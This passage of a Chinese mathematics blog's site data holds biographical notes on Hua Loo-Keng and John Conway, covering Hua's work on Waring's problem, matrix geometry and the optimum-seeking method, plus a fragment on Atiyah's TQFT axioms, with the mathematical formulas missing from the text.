态射（Morphisms）：是配边（cobordisms）：即定向 - 维流形 ，其边界分解为 ，并在同胚（diffeomorphism）意义下取等价类。 上有一个对称幺半结构（symmetric monoidal structure），由不交并给出，其中空流形 为单位。 Atiyah 定义 维 TQFT 是对称幺半函子（symmetric monoidal functor）： 或 其中 表示有限维 - 向量空间（或 Hilbert 空间）。并满足以下公理： （张量公理） ，且 。 （粘合（gluing）公理）若态射 是沿公共边界粘合（gluing），则 。 3.（恒等（identity））圆柱 （视为一个 到自身的态射）映为 ，即 到自己的恒等映射。 4.（对偶（dual / duality））反向定向给出 （向量空间的对偶）。 5.（同胚（diffeomorphism）不变）与同胚（diffeomorphism）作用相容， 仅依赖拓扑型。 由此得到：闭 - 流形 给出分拆函数（partition function） ；边界 给出态空间（state space） 。"},{"title":"","date":"2026-05-20T00:07:00.000Z","updated":"2026-05-20T00:10:00.000Z","comments":true,"path":"notes/person/29.html","permalink":"https://blog.mhuig.top/notes/person/29","excerpt":"","text":"Loo-Keng Hua Loo-Keng Hua 生平华罗庚（Loo-Keng Hua，1910-1985）出生于江苏省金坛县。他的父亲华瑞栋经营着一家杂货铺，以此勉强维持生计。童年时期的华罗庚性格内向，常常独自沉思，但他内心逻辑思维活跃。1922 年进入金坛县立初级中学（现江苏省华罗庚中学），1925 年毕业。求学期间，他遇到了王维克（1900-1952）老师。王维克敏锐地察觉到了华罗庚在数学方面潜藏的天赋，并给予了他指导与鼓励。 王维克本人 1917 年入南京河海工程学校（今河海大学），1925 年到法国留学，成为女科学家玛丽・居里（Marie Curie，1867-1934）的一名中国学生。 1961 年 10 月，华罗庚在参加南京的数学工作者座谈会上曾这样说过：“王维克先生还是我数学成绩的第一个赏识者呢！我这位中学老师，不仅数学好，而且在物理学、天文学方面造诣也很深，并且是一个有成就的翻译家。” 1925 年初中毕业后，父亲华瑞栋希望华罗庚将来能有个谋生之道，所以让他考入了上海中华职业学校（由黄炎培于 1918 年创立）。 在中华职业学校时，华罗庚已对数学产生了爱好。他获得上海市珠算比赛第一名，初步展示了他在计算方面的过人才能。 然而在中华职业学校虽然免了学费，但杂费、食宿费仍然是不小的负担，华罗庚因此放弃还差一学期就毕业的机会，辍学回到金坛，帮助其父经营杂货铺。故华罗庚一生只有初中毕业文凭。 他边站柜台边自学，有时算得入迷，竟将自己演算的结果当成货款告诉客人。 那个年代人们普遍结婚早，于是在 1927 年，17 岁的华罗庚听从了父母的安排，娶了同乡的同龄人吴筱元（1910-2003）为妻。 1928 年秋，赴法国巴黎大学深造的王维克学成归来，被任命为金坛中学校长。他把原来的会计、庶务员及事务主任解雇，将他们三人的工作交给华罗庚一人承担，每月薪水是十八块大洋。每到学期末，几百名学生的成绩单堆在办公桌上，华罗庚算得总是又快又准。 1929 年，年仅 19 岁的华罗庚不幸染上了严重的伤寒症（typhoid fever），为了给丈夫请医买药，吴筱元将结婚时候的衣物、手饰送进了当铺。 华罗庚重病期间，王维克几次登门探望，并安慰吴筱元。在吴筱元的精心照顾下，华罗庚终于转危为安。 这场大病让他在床上整整躺了半年，虽然最终奇迹般地死里逃生，但疾病导致他的左腿关节粘连变形，弯曲了，留下了残疾。 从此，他行走时必须先将左腿画一个大圆圈才能迈步，这种独特的步态被他幽默地自嘲为 “圆与切线的运动”。这段经历虽然痛苦，却极大地磨砺了他的意志。 1929 年 12 月，华罗庚在《科学》杂志第 14 卷第 14 期上发表了他的第一篇论文《施图姆定理之研究》。后来在 1930 年 12 月在上海的《科学》（Science）杂志上发表了一篇题为《苏家驹之代数的五次方程式解法不能成立之理由》的短文，指出了当时的一位中学教师苏家驹（1899-1980）的错误。 这篇短文引起当时清华大学数学系主任熊庆来（Ch'ing-lai Hsiung，1893-1969）的关注。据熊庆来本人回忆，他很纳闷，他根本不知道中国数学界中有一个华罗庚。 当熊庆来、杨武之（Ko Chuen Yang，1896-1973）等得知华罗庚只是一个初中毕业生，更为惊奇，愈加珍爱。系里的 7 位教员都赞成把华罗庚调来清华工作与培养。 于是，熊庆来在当时的理学院院长叶企孙（1898-1977）的同意下，聘华罗庚来清华工作。 1931 年，华罗庚正式进入清华大学。最初，他担任数学系的一名助理员，负责整理图书和收发信件。工作很轻，在工作之余，可以去听课与自修。 华罗庚除听课外，他的主要时间是用来自己学习，除对高等数学的基础知识认真学习外，他还博览群书，特别致力于数论的学习。 1933 年，清华大学理学院正式提升华罗庚为助教，并让他教授微积分课。1934 年起，华罗庚又开始在数学杂志上发表论文了。1935 年，清华大学再次破格提拔华罗庚为讲师。 陈省身先生曾回忆道：“想起我们最初在一起，1931 年他来的时候，那时他只是初中毕业的学生，他的数学论文引起大家的注意。清华是很例外的，不但找他到清华来，并且给他一个职位，这在当时大学里是很少有的一件事。 因为他的学历的关系，刚来时名义是助理员。 那时数学系叫算学系，后来改为数学系。一年以前，我是算学系的助教。算学系的办公室就在工字厅走道的地方，两边各有两间房间，一共 4 间房间，是算学系的办公室。有一边是熊庆来先生，他是主任，我在另外一个地方也有个桌子，是他的助教。外头一间有两个桌子，是周鸿经先生和唐培经先生的办公桌。罗庚到清华的时候就呆在我的办公桌，因为 1931 年我改为研究生，是学生了，他就做助理员，用这个桌子，所以我们的关系是一个先后的关系。 罗庚是一个很好的数学家，所以他不需要一般的数学训练。他很快就跟所有的人，所有的研究生，甚至于教员，可以在同一个阶段讨论数学的问题。他虽然名义是助理员，等于是个研究生，我也是研究生，我们时常来往，上同样的课，那是很愉快的一段学生生活。 1935 年至 1936 年间，国际数学界的两位学者阿达玛（Jacques Hadamard，1865-1963）和维纳（Norbert Wiener，1894-1964）先后在清华大学讲学。 华罗庚也跟随他们学习，其表现出的研究才能很受他二人的推崇。他们给华罗庚以重要的指导与帮助，对其产生了很大的影响。 Hadamard 介绍华罗庚与苏联数学家维诺格拉朵夫（Ivan Matveevich Vinogradov，1891-1983）直接通信，这对华罗庚在 Waring 问题的研究工作无疑有决定性的影响。华罗庚从 Wiener 那里学到了大量 Fourier 分析的技能和知识，对其以后的工作有着密切的关联。 1936 年，经熊庆来推荐和叶企孙、杨武之等人的帮助，华罗庚获得中华文化教育基金会的资助，以 “访问学者” 身份去英国进修。 华罗庚出国时，Wiener 特为介绍，使其得以跟随英国 Cambridge 大学著名数学家哈代（Godfrey Harold Hardy，1877-1947）研究。 在 Cambridge 的两年，是华罗庚学术生涯的第一个黄金时期，他置身于以 Hardy 和利特伍德（John Edensor Littlewood，1885-1977）为核心的分析数论学派的中心。华罗庚在著名的 Waring 问题上取得了进展。 他发表了许多论文，其中包括《论 Gauss 的完整三角和估计问题》和关于 “Tarry 问题” 的研究成果。当时他主要的研究工具是 Hardy-Littlewood 圆法（circle method），他利用后被国际数学界称为 “华氏引理（Hua’s Lemma）” 的技术性引理改进了圆法的精度，也因此帮助他对 Waring 问题中 的上界估计取得了当时最好的估计。 1938 年，抗日战争的战火蔓延至全中国。心系祖国的华罗庚毅然放弃了在英国优越的研究环境，选择回到饱受战火蹂躏的故土。 此时，清华大学已南迁到云南昆明，与北京大学、南开大学联合组成 “国立西南联合大学（简称西南联大）”。他受聘为西南联大教授，随学校迁往云南昆明。 在昆明的岁月是异常艰苦的。华罗庚的住所在空袭中被炸，闻一多（1899-1946）见华罗庚无处安身，便邀请他住在自家，腾出稍大的正房给华罗庚一家六口人居住。 后来，闻一多搬走，房子留给华罗庚住。虽然二人见面的机会渐少，但友谊历久弥深。 华罗庚以及联大的很多教授都维持着极低的温饱需求。妻子吴筱元把附近邻居送给的两个鸡蛋做成羹给他补充营养，他则分成 5 份，最后还把自己的一份喂到孩子嘴里。 1945 年，三子出生，因没钱送妻子到医院，只好产在家里。给这个出生在困境中的孩子取名 “华光”。 1942 年底，华罗庚完成了他的名著《堆垒素数论》（Additive theory of prime numbers）的中文稿。然而，这本凝结华罗庚几年心血的 30 万字专著交给当局有关部门之后，竟石沉大海，杳无音信。华罗庚多次去信询问手稿的下落，对方皆未给予回答。 这件事惊动了西南联大校长梅贻琦（Yi-chi Mei，1889-1962），他致函当局希望继续派人查找华罗庚的书稿，然而，联大方面的去函，依旧如石沉大海，杳无音信。 《堆垒素数论》的中文手稿丢失以后，华罗庚没有马上去重写第二稿，因为他发现了《堆垒素数论》初稿中存在的问题和遗憾。不久，华罗庚完成了他另一部著名的学术专著《数论导引》大部分章节。 华罗庚在完成这项工作以后，把《堆垒素数论》英文版手稿，寄给了一直在关注着他学术成长的苏联国家科学院的 Vinogradov 院士。 1947 年，这本书的俄文出版，直到解放后，于 1953 年从俄文本翻译成中文在中国出版。 除了数论，华罗庚在昆明时期还将研究视野扩展到了代数学和几何。华罗庚在极其困难的条件下与普林斯顿高等研究院的外尔（Hermann Klaus Hugo Weyl，1885-1955）建立了书信联系。 在信中，华罗庚流露出了深厚的爱国情怀，他写道：“科学是极度被需要的。因此，对年轻科学家的任何帮助都意味着对国家重建的巨大帮助（Science is extremely needed. Thus any help to the young scientists would mean a great help of the reconstruction of the country）。” 1943 年 3 月，Weyl 写信给 IAS 的亚历山大（James Waddell Alexander II，1888-1971）、爱因斯坦（Albert Einstein，1879-1955）、莫尔斯（Harold Calvin Marston Morse，1892-1977）和维布伦（Oswald Veblen，1880-1960），推举陈省身和华罗庚前来访问。 信里写道：“据我所知，中国最杰出的两位数学家是陈省身和华罗庚。后者对 Hardy-Littlewood-Vinogradov 一派的解析数论做出了重大贡献，在他最近给我的一篇手稿中，重复了 Siegel 关于辛几何的论文中一部分工作。更近距离地接触 Siegel 对华罗庚来说很重要……” 1946 年春，应苏联科学院邀请，华罗庚访问苏联。同年 9 月，华罗庚与曾昭抡（Chao-Lun Tseng，1899-1967）、唐敖庆（Au-Chin Tang，1915-2008）、朱光亚（Kuang-Ya Chu，1924-2011）、李政道（Tsung-Dao Lee，1926-2024）等人从上海乘船赴美。 到达美国后，华罗庚到普林斯顿高等研究院做研究工作，并在 Princeton 大学数学系教授数论课。同年冬天他住院治疗腿疾，经过手术，治好了 18 年的疾病，改善了行走的姿态。 1948 年，华罗庚接受了伊利诺伊大学厄巴纳 - 香槟分校（University of Illinois at Urbana-Champaign, UIUC）的聘请，成为该校的正教授，夫人吴筱元携子女到美国与华罗庚团聚。 在 UIUC 期间，他指导了雷蒙德・阿尤布（Raymond George Dimitri Ayoub，1923-2013）等博士生，并与欧文・雷纳（Irving Reiner，1924-1986）合作发表了多篇关于典型群自同构的论文。 1949 年 10 月 1 日，中华人民共和国成立，让华罗庚心潮澎湃。1950 年，华罗庚毅然决定举家回国，回到清华大学任教。途经香港时，他发表了那封著名的《写给留美同学的公开信》，信中那句 “梁园虽好，非久居之乡” 感动了无数海外学子，号召他们回国参与新中国的建设。 正当他在清华大学努力工作时，一个新的任务 —— 筹建中国科学院数学研究所的重任落到了他的身上。 1951 年，政务院第 69 次政务会议通过任命华罗庚为中国科学院数学研究所所长。华罗庚将毕生精力投入到中国数学事业的建设中。 从回回国到 1957 年，他的工作受到毛泽东（1893-1976）主席和数学家们广泛的支持。 1952 年，毛泽东主席谈到建设新中国需要大批科学人才时，他满怀无限希望地说：“华罗庚先生，你也是苦出身嘛，希望你能为新中国多培养些好学生。” 1952 年，在全国政协一届二次会议期间，毛泽东主席接见华罗庚。 华罗庚撰写了《指数和的估计及其在数论中的应用》、《多复变函数论中的典型域的调和分析》等 4 本专著，其学术论文《典型域上的多元复变函数论》获中国科学院 1956 年度科学奖金（自然科学部分）一等奖（现已改称 “国家自然科学奖”）。 华罗庚著作列表： 序号 书名与出版时间 1 《堆垒素数论》，华罗庚著，俄文版 1947 年、中文版 1957 年、匈牙利版 1959 年、德文版 1959 年、英文版 1965 年 2 《数论导引》，华罗庚著，中文版 1957 年、英文版 1982 年 3 《多复变函数论中的典型域的分析》，华罗庚著，中文版 1958 年、修订版 1965 年、俄文版 1959 年、英文版 1963 年 4 《指数和的估计及其在数论中的应用》，华罗庚著，德文版 1959 年、中文版 1963 年、俄文版 1964 年 5 《数值积分及其应用》，华罗庚 / 王元著，中文版 1963 年 6 《典型群》，华罗庚 / 万哲先著，中文版 1963 年 7 《高等数学引论》，华罗庚著，中文版 1963 年、1984 年 8 《从单位圆谈起》，华罗庚著，中文版 1977 年 9 《数论在数值分析中的应用》，华罗庚 / 王元著，中文版 1978 年 10 《二阶两个自变量两个未知函数的常系数线性偏微分方程组》（与林伟、吴兹潜合作），中文版 1979 年修订本 11 《优选法》，华罗庚著，中文版 1981 年 12 《华罗庚论文选集》，华罗庚著，中文版 1983 年 13 《数学模型选读》，华罗庚 / 王元著，中文版 1991 年，英文版 1989 年 在人才培养方面，他发掘和培养了陈景润（1933-1996）、王元（1930-2021）、潘承洞（1934-1997）、陆启铿（1927-2015）、丁夏畦（1928-2015）、万哲先（1927-2023）、龚昇（1930-2011）等一代杰出的数学家。 从 20 世纪 60 年代开始，出于对国家经济建设需求的响应，华罗庚将研究重心转向了应用数学。他提出了 “优选法（optimum seeking method）” 和 “统筹法（overall planning method）”，合称为 “双法”。 为了推广这些方法，他率领小分队走遍了中国的 26 个省、市、自治区，深入工厂、矿山和油田，亲自向工人和技术人员讲解如何利用数学方法提高生产效率。 他曾说：“人有两个肩膀，我要让双肩都发挥作用。一肩挑起‘送货上门’的担子，把科学知识和科学方法送到工农群众中去。” 毛泽东主席曾给他回信，赞赏他 “不为个人而为人民服务，十分欢迎”。 1964 年，毛泽东主席收到了华罗庚的信，他被这位老知识分子的诚心和决心感动了，他很快给华罗庚回信： 华罗庚先生： 诗和信已经收读。壮志凌云，可喜可贺。 肃此。 敬颂教祺！ 毛泽东 一九六四年三月十八日 1965 年，华罗庚再次给毛泽东主席写信，汇报自己的工作成果并把自己写的《统筹方法平话》寄给主席。1965 年 7 月 21 日，毛泽东主席再次给华罗庚回信： 华罗庚同志： 来信及《平话》，早在外地收到。你现在奋发有为，不为个人，而为人民服务，十分欢迎。听说你到西南视察，并讲学，大有收获，极为庆幸。专此奉复。敬颂教安 十年浩劫期间，华罗庚的许多珍贵的手稿被没收散佚。按照毛泽东主席的意见，周恩来总理亲自出面保护华罗庚，还以人大常委的身份留在北京，继续搞数学统筹法试验。 1975 年 8 月，他率小分队赴黑龙江推广 “双法”，在哈尔滨突发心肌梗塞病住院，经抢救脱险。消息传到北京，重病之中的周恩来总理当即派自己的医生前往哈尔滨抢救。 1976 年，华罗庚被任命为中国科学院副院长，他多年的著作成果相继正式出版。 1977 年 6 月，华罗庚到山东推广 “双法”，心脏病再次发作。病后，他说了这样一句话：“我的哲学不是生命的尽量延长，而是工作的尽量多做。” 1979 年 6 月，华罗庚加入中国共产党。 1982 年秋，他因日夜写作，劳累过度，第二次患心脏病住院。 丘成桐评价：早在培正中学时期，我就接触了华罗庚的书，比如《数论导引》。这本数论的书带我走进了高等数学的世界，使我大开眼界。 1968 年，沙拉夫（Stephen Salaff，1938-2012）打算以华罗庚为题材写一篇文章，丘替他翻译，因此读了不少关于华罗庚的材料。 1979 年，华罗庚先生邀请丘到北京的中国科学院数学研究所做一系列的演讲，从该年的 5 月底开始。 华罗庚 1983 年写给丘成桐的信 成桐我兄惠鉴： 两书拜读多遍，文情并茂，爱国之心跃然纸上，感我极深，人非木石，岂能无悲。 足下喜祖国之所喜，忧祖国之所忧。祖国科学落后，经济落后，但同时一双手、扶植之、抑压之，则有大不同焉。 兄热爱祖国，素所深佩，见义勇为，更为不及。 今兄身体如何？在念中，谨祝早占初药。 专此顺致 研安 弟 罗庚上 一九八三年十月四日 1979 年在中科院数学所 1984 年，华罗庚应美国加州理工学院之邀，赴美讲学一年。1984 年 4 月，华罗庚在华盛顿出席了美国国家科学院授予他外籍院士的仪式，成为第一位获此殊荣的中国人。 1985 年 6 月 12 日，华罗庚在日本东京大学的讲台上，向国际同行做题为《理论数学及其应用》的学术报告。 有人后来回忆道：起初，华老用中文演讲，由翻译译为日语。不久，华老觉得不十分如意，改用英文直接对听众演讲。谈起他自己的研究工作，应用与推广，他感到得心应手，淋漓欢畅。他先将西装外套脱下，又将领带除去。即便如此，据说华老依然汗流不止，以至衬衫有点湿透了。由于内容十分丰富，演讲比规定的一小时超过了 10 分钟。 当演讲完毕，听众报以热烈的掌声，日本友好人士白鸟富美子女士正要送上鲜花时，华老却从台上的椅子突然滑下。东京大学医院的医生立即实施抢救，但迅即宣告不治，我国驻日使馆仍坚持继续尽一切力量抢救，然而回天乏术，华老于当天晚上 10 时逝世。 这位从金坛小店走出的数学家，用他传奇的一生诠释了 “聪明在于勤奋，天才在于积累” 的深刻哲理。 贡献一、解析数论数论是华罗庚最早涉足的领域之一。他在 Waring 问题、三角和估计以及素数分布等方面做出贡献。 1、Waring 问题与华氏引理（Waring’s problem and Hua’s lemma）Waring 问题（Waring’s Problem）是 1770 年由华林（Edward Waring，1736-1798）提出的著名猜想。 猜想是说：对于任意给定的整数 ，是否存在一个正整数 ，使得每个正整数 都能表示为 个非负整数的 次幂之和？即方程 是否有整数解。 虽然希尔伯特（David Hilbert，1862-1943）于 1909 年证明了 的存在性，但对于 的最小值的估计（记为 和 ）一直是解析数论的核心问题。 其中， 定义为使得所有的整数都能表示为 个 次幂之和的最小整数 。 定义为使得所有充分大的整数 都能表示为 个 次幂之和的最小整数 。 比如： ：Lagrange，1770 ：Wieferich‑Kempner，1909‑1912 ：Balasubramanian‑Dress‑Deshouillers，1986 ：Davenport，1939 华罗庚在这一领域最著名的贡献是提出了华氏引理（Hua’s Lemma），这是一个关于指数和（exponential sums）均值估计的工具，改进了 Hardy‑Littlewood 圆法中对 “小弧（minor arcs）” 上积分的估计。 在圆法中，积分区间被分为 “大弧（major arcs，即有理数附近的区间，贡献主要部分）” 和 “小弧（其余部分，主要为误差项）”。 Hardy‑Littlewood（结合 Weyl 型估计）得到过一类形如 的上界；而华罗庚用 Hua’s lemma 配合 Weyl 的估计处理小弧，从而把一般上界改进到 2、Vinogradov 中值定理的改进（Vinogradov’s mean value theorem）Hardy‑Littlewood 在 20 世纪初引入了圆法（circle method）用来研究：Waring 问题、Goldbach‑type 问题和素数的加法表示问题等，把整数表示问题转化为指数和的积分估计。并且证明了在广义 Riemann 假设（GRH）下，充分大的奇数是三个素数之和，即 weak Goldbach 猜想成立。 前苏联数学家维诺格拉多夫（I. M. Vinogradov）引入了 Vinogradov 中值定理，解决了圆法中的问题，从而去掉了 Hardy‑Littlewood 的广义 Riemann 假设的前提。华罗庚在昆明期间，深入研究了 Vinogradov 的方法，并对其进行了本质性的简化和改进，从而使其能够应用在其他整数问题上。此外，他还将这些结果推广到了代数数域上，建立了代数数域上的堆垒素数论。他的专著《堆垒素数论》（Additive theory of prime numbers）系统总结了这些成果。 3、Tarry 问题（Tarry’s problem）华罗庚深入研究了完整三角和的性质，特别是解决了关于完整三角和估计的 Tarry 问题。 Tarry 问题即 Prouhet‑Tarry‑Escott 问题的数论形式，涉及对一个给定正整数 ，确定使不定方程组 有非平凡整数解的最小整数 。 华罗庚在 Tarry / Tarry‑Escott（等幂和）问题中，沿用 Vinogradov 的三角和均值方法并加以发展，给出了当时已知上界的显著改进，也是他后续对同余化方法改进工作的出发点。 二、代数在 1940 年代，华罗庚的研究兴趣从数论扩展到了代数，特别是在体（skew field，即非交换除环）的几何和典型群的结构方面取得了成果。 1、Cartan‑Brauer‑华定理（Cartan‑Brauer‑Hua theorem）这一定理涉及除环（division ring）的结构，由埃利・卡当（Élie Joseph Cartan，1869‑1951）、布劳尔（Richard Dagobert Brauer，1901‑1977）和华罗庚共同得到。 一个非平凡的环 ，如果其中每一个非零元素都有乘法逆元，则称 为除环。如果其乘法运算不满足交换律，则称为非交换除环或体（skew field）。 Cartan‑Brauer‑Hua 定理是说，设 是除环 的一个子除环。如果在的所有非零元素的共轭作用下保持不变，即对于任意 ，都有 ，则或者 ，或者 包含在 的中心（center）之中。 华罗庚为此提供了一个极其简洁的证明，该证明依赖于他发现的一个恒等式，即华氏恒等式（Hua's identity）。对于除环中的任意元素 、 ，若 、 ，则： 证明极其简单： 2、典型群的自同构与矩阵几何（Automorphisms of classical groups and geometry of matrices）在 Princeton 和回国初期，华罗庚致力于研究典型群（classical groups）的几何学。 他开创性地发展了 “矩阵几何（geometry of matrices）” 这一新领域，试图用几何的方法来刻画典型群的代数结构。华罗庚刻画了矩阵空间上的 “邻接（adjacency）” 关系保持映射。 设 是除环 上的 矩阵空间。两个矩阵 、 被称为是 “邻接” 的，如果它们的差 的秩（rank）为 1。即 华罗庚证明了一系列对于长方矩阵、对称矩阵、反对称矩阵、厄米矩阵的结果被称为 “华氏矩阵几何基本定理”。 它们建立了矩阵几何与群论之间的深刻联系，为确定典型群的自同构提供了一个统一且直观的几何框架。 法国数学家迪厄多内（Jean Alexandre Eugène Dieudonné，1906‑1992）在《典型群的自同构》（On the automorphisms of the classical groups）中特别收录了华罗庚关于此方法的补充内容。 三、典型域的调和分析（Harmonic analysis on classical domains）华罗庚系统的研究了 Élie Cartan 关于不可约 Hermitian 对称空间分类中的四类经典有界对称域（bounded symmetric domains）。 在这类域上，存在自然的边界，以及相应的 Poisson 核与 Poisson 积分。 华罗庚发现从边界做 Poisson 积分得到的函数，不是任意的；它们满足一组 “过定（overdetermined）的二阶偏微分方程”。这些二阶算子就是后来大家说的华算子（Hua operators）。华罗庚在这些域上显式地计算出了 Poisson 核（Poisson kernel）。 这部分的工作主要体现在他的专著《多复变函数论中的典型域的调和分析》（Harmonic Analysis of Functions of Several Complex Variables in the Classical Domains）中。 他的论文《典型域上的多元复变函数论》获得 1956 年度国家自然科学奖一等奖。 《多复变函数论中的典型域的调和分析》于 1958 年出版，并被先后翻译成俄语和英语。这部著作不仅包含了丰富具体的分析结果，还展示了群表示论与复分析的结合。相比于西格尔（C. L. Siegel）同一时期类似的工作，华罗庚的方法更加具体、直接，并且给出了更明确的计算公式。 四、应用数学与数值分析（Applied mathematics and numerical integration）晚年的华罗庚致力于将高深的数学理论转化为直接服务于国民经济的工具，体现了他 “数学为民” 的理念。 On numerical integration of periodic functions of several variables. Sci. Sinica 14(1965), 964‑977. (with Wang Yuan) On uniform distribution and numerical analysis (Number‑theoretic method). Sci. Sinica (I) 16(1973), 483‑505; (II) 17(1974), 331‑348; (III) 18(1975), 184‑198. Optimum‑seeking method of several variables. Ke Xue Tong Bao. (I) 18(1973), 165‑166. (III) (IV) 19(1974), 317‑319. A note on simultaneous diophantine approximations to algebraic integers. Sci. Sinica 20(1977), 563‑567. 1、高维数值积分（High‑dimensional numerical integration）在数值积分领域，华罗庚与学生王元合作，利用代数数论中的分圆域（cyclotomic field）和 Diophantine 逼近理论，提出了一种确定性的数值积分方法，即华‑王方法（Hua‑Wang method）。 他们构造了一组均匀分布的节点（称为 “华‑王点集”），使得数值积分的误差界达到了 甚至更优，且不依赖于维数。其论著《数论在近似分析中的应用》（Applications of number theory to numerical analysis）成为该领域的经典。 2、优选法与统筹法（Optimum seeking method and overall planning method）优选法（Optimum seeking method）：针对生产工艺中单参数或多参数选择的问题（如温度、配比、时间等），华罗庚推广了基于 Fibonacci 数列的 “ 法（黄金分割法）”。他用极其通俗易懂的语言 —— 如 “来回调试”、“折纸条”—— 向只有初中甚至小学文化的工人讲解如何用最少的试验次数找到最佳工艺参数。 统筹法（Overall planning method）：基于图论中的关键路径法（critical path method, CPM）和计划评审技术（PERT）。华罗庚将其简化为 “箭头图”，教导项目管理者如何通过合理安排工序的先后顺序和并行关系，找出关键路径，从而缩短工期，提高效率。 这 “双法” 的推广并非简单的科普，而是数学思想在实际管理和工程中的创造性应用，产生了巨大的经济效益。 华罗庚在推广这些方法时展现出的极大热情和耐心，以及他那深入浅出的讲解能力，使数学真正走出了象牙塔，惠及了亿万民众。"},{"title":"","date":"2026-03-31T06:07:00.000Z","updated":"2026-05-03T06:10:00.000Z","comments":true,"path":"notes/person/3.html","permalink":"https://blog.mhuig.top/notes/person/3","excerpt":"","text":"Conway Conway 生平约翰・霍顿・康威（John Horton Conway, 1937-2020）于 1937 年出生于英国的利物浦（Liverpool）。父亲西里尔・霍顿・康威（Cyril Horton Conway）在化学实验室工作，母亲艾格尼丝・博伊斯（Agnes Boyce）很早就注意到他对数字的兴趣：他四岁时已经能背出 2 的幂，稍大一些又喜欢心算日期对应的星期。家里还有两个姐姐，Sylvia 和 Joan。 Conway 的童年并不轻松，因为他成长于战时物资短缺的英国。在小学里，Conway 表现非常突出，几乎门门功课都名列前茅。尽管在小学时期他其实并不真正明白 “数学” 究竟是什么，Conway 却似乎已经坚定地认定自己将来会成为数学家。 十一岁参加中学入学面试时，有人问他长大后想做什么，他回答说，希望将来在 Cambridge 当一名数学家。 在中学阶段，他的成绩非常出色；虽然并非所有科目都同样拔尖，但在数学方面，他无疑比其他学生都强得多。 不过，数学并不是唯一吸引他的学科，他也曾一度深深迷上天文学，而在别的时候又对化石产生浓厚兴趣。他对天文学的兴趣一直保留到了后来，直到今天他仍把它列为自己的兴趣之一。 中学毕业后，Conway 进入 Cambridge 大学冈维尔和凯斯学院（Gonville and Caius College）学习数学。 1959 年他获得学士学位，随后在达文波特（Harold Davenport，1907-1969）指导下开始研究数论。 解决了 Davenport 提出的 “将数表示为五次幂之和” 的公开问题后（陈景润也独立解决），Conway 开始对无限序数（infinite ordinals）产生兴趣。 他对游戏的兴趣也是在 Cambridge 求学期间开始发展起来的 —— 那时他成了一位热衷于双陆棋（backgammon）的玩家，常常在公共休息室里一玩就是好几个小时。 1964 年，他获得博士学位，并被任命为 Cambridge 大学纯数学讲师。至此，他实现了自己十一岁时立下的志向。 同样在 1964 年，Conway 当选为 Cambridge 的悉尼・苏塞克斯学院（Sidney Sussex College）的研究员。 那时他正在从事数理逻辑研究，但进展并不顺利。他写道：“…… 我变得非常沮丧。我觉得自己并没有在做真正的数学；我没有发表论文，因此对此感到十分内疚。” 然而情况很快就突然改变了。大约在 1965 年前后，利奇（John Leech，1926-1992）发现了 24 维空间中的一种稠密球堆积，其对应的格后来被称为 Leech 晶格（Leech lattice）。 Leech 知道这个晶格的对称群会很有意思，于是研究了一段时间，并给出了这个群阶的一个下界（后来证明这恰好就是该群的实际阶）。他知道自己并不具备足够的群论技巧来证明自己的猜想，于是试图引起他人的兴趣。 Thompson 的回忆中所说：“我把这个问题拿到许多人面前试探过，包括 Coxeter、Todd 和 Graham Higman，但 Conway 是第一个真正上钩的人……” Conway 在这一问题上的工作彻底改变了他的数学事业。他证明，Leech 晶格的对称群 模去一个 2 阶中心子群之后，得到一个此前从未发现过的有限单群，其阶为 但 还有更为非凡的性质：它拥有大量极其有趣的子群，其中包括另外两个此前未知的单群，以及一些以当时几乎所有已知有限散在单群（finite sporadic group）为同态像的群。所谓 finite sporadic group，是指不属于标准无限族中的有限单群。 Conway 于 1968 年宣布了这一发现，并于 1969 年在《Bulletin of the London Mathematical Society》创刊卷中发表了完整细节。 可以说，正是在这一成果为他的发表生涯打开局面之后，Conway 才真正 “开始做真正的数学”；这个发现属于当时数学中最受瞩目的领域之一，也极大增强了他的自信。 有人曾回忆道：“对于 Conway 这种‘信心上的变化’，我无法亲自作证，因为在他发现新单群之前我并未听过 Conway 讲课。不过，在这之后我听过他许多次讲演；那些讲演都极为精彩、令人难忘，而且出自一位极具舞台魅力的讲者之手。” 不久之后，Conway 因发明 生命游戏（game of life） 而在数学界之外也广为人知。 冯・诺伊曼（John von Neumann，1903-1957）在 20 世纪 40 年代曾寻找一种 “通用构造器（universal constructor）”。他试图找到一种能够复制自身的假想机器，并最终通过在笛卡尔网格上制定复杂规则的数学模型实现了这一目标。 Conway 试图简化 von Neumann 的思想，最终获得成功。正如 Conway 的采访中所说：“…… 他在否定了大量方案之后才成功，包括三角格、六角格以及方格，也否定了许多其他‘生与死’的规则，甚至还试过引入两种乃至三种性别。成片的方格纸都被画满了，他和那群崇拜他的研究生们摆弄着扑克牌筹码、外国硬币、海贝、围棋子，或者手边能找到的任何东西，直到终于找到一种在生与死之间可行的平衡。” Conway 把这个游戏展示给朋友加德纳（Martin Gardner，1914-2010），后者在 1970 年 10 月《科学美国人》（Scientific American）的专栏中介绍了它。 这个游戏立刻获得巨大成功，Conway 也因此家喻户晓。 人们常说，自 1970 年以来，全世界投入在生命游戏上的计算机时间，比投入于任何其他单项活动的都要多。 Gardner 写道：“这个游戏使 Conway 一举成名，但它也开辟了数学研究的一个全新领域，即元胞自动机（cellular automata）领域。” 同样在 1970 年，Conway 当选为 Cambridge 的 Gonville and Caius College 的研究员；三年后，他由讲师升任 Cambridge 大学纯数学与数理统计 reader（相当于副教授）。 Conway 另一个著名成就是 超现实数（surreal numbers） 的发现，这也大致发生在 1970 年前后。许多人听到这里都会感到惊讶：人们往往以为数系的发展到复数就已经结束了，而 Conway 的发现恰恰完美说明，即便是数系本身，也仍然属于持续演进中的数学主题。 更令人惊讶的是，Conway 起初并不是想发展新的数系，而是在分析围棋（Go）。在 Cambridge，他研究两位达到国际水平的围棋选手所下的棋局。他注意到，在一盘棋的后半段，局面常常看起来像许多较小棋局的和。 在分析这一情况时，Conway 发现某些棋局的行为就像数字一样，于是超现实数由此诞生。 不过，“surreal numbers” 这个名字并不是 Conway 取的，而是克努斯（Donald Ervin Knuth，1938-）所起。 Knuth 对 Conway 的发现印象极深，以至于他写了一本小型小说体著作《超现实数：两位前学生如何爱上纯数学并找到完全的幸福》（ Surreal Numbers: How Two Ex-Students Turned on to Pure Mathematics and Found Total Happiness , 1974），旨在向学生介绍数学研究中的思想。 除了前面说到的群论创新成果与超现实数之外，他还在结理论、数论、博弈论、二次型、编码理论与铺砌理论等方面做出了第一流的研究。Conway 于 1971 年获得伦敦数学学会的 Berwick Prize。 Berwick Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1947 A.G. Walker 1949 L. Cooper 1959 I.M. James 1961 M. Atiyah 1963 F. Adams 1971 J.H. Conway 1977 G. 